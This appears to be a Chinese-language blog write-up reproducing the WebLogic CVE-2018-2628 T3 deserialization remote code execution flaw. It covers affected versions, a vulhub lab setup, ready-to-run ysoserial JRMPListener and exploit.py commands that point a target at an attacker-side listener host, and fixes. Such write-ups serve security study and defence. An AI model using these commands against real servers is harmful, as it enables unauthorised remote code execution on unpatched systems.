WebLogic 反序列化遠程代碼執行漏洞(CVE-2018-2628)

WebLogic 反序列化遠程代碼執行漏洞(CVE-2018-2628)

漏洞概述:

  • 在 WebLogic 裏,攻擊者利用其他rmi繞過weblogic黑名單限制,然後在將加載的內容利用readObject解析,從而造成反序列化遠程代碼執行該漏洞,該漏洞主要由於T3服務觸發,所有開放weblogic控制檯7001端口,默認會開啓T3服務,攻擊者發送構造好的T3協議數據,就可以獲取目標服務器的權限。

漏洞版本:

 Weblogic 10.3.6.0
 Weblogic 12.1.3.0
 Weblogic 12.2.1.2
 Weblogic 12.2.1.3

基本原理:

  • 序列化:簡單來說把對象轉換爲字節流過程(通過ObjectOutputStream類的writeObject)
  • 反序列化:就是把字節流恢復爲對象的過程(通過ObjectInputStream類的readObject()方法)
  • RMI:遠程方法調用(Remote Method Invocation)。簡單來說,除了該對象本身所在的虛擬機,其他虛擬機也可以調用該對象的方法。
  • JRMP:java遠程消息交換協議JRMP(Java Remote Messaging Protocol)

打個比喻就是相當於你在網上買個玩具房子,他不可能直接快遞給你郵個房子,先把房子拆開郵走(序列化),然後收到時在拼裝成一個房子(反序列化)。在JAVA中,對象的序列化和反序列化被廣泛的應用到RMI(遠程方法調用)及網絡傳輸中。

漏洞搭建:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

漏洞復現:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [監聽端口] CommonsCollections1 "命令"

在這裏插入圖片描述

python exploit.py [目標ip] [目標port] [ysoserial路徑] [JRMPListener ip] [JRMPListener port] [JRMPClient]
    e.g.
       a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
       b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

最終構造payload:python exploit.py 172.17.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.2.109 1099 JRMPClient
在這裏插入圖片描述

漏洞修復:

  • 關閉T3服務,或控制T3服務的訪問權限(臨時)。
  • 打官方補丁。

ps:餘生很長,請多指教。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章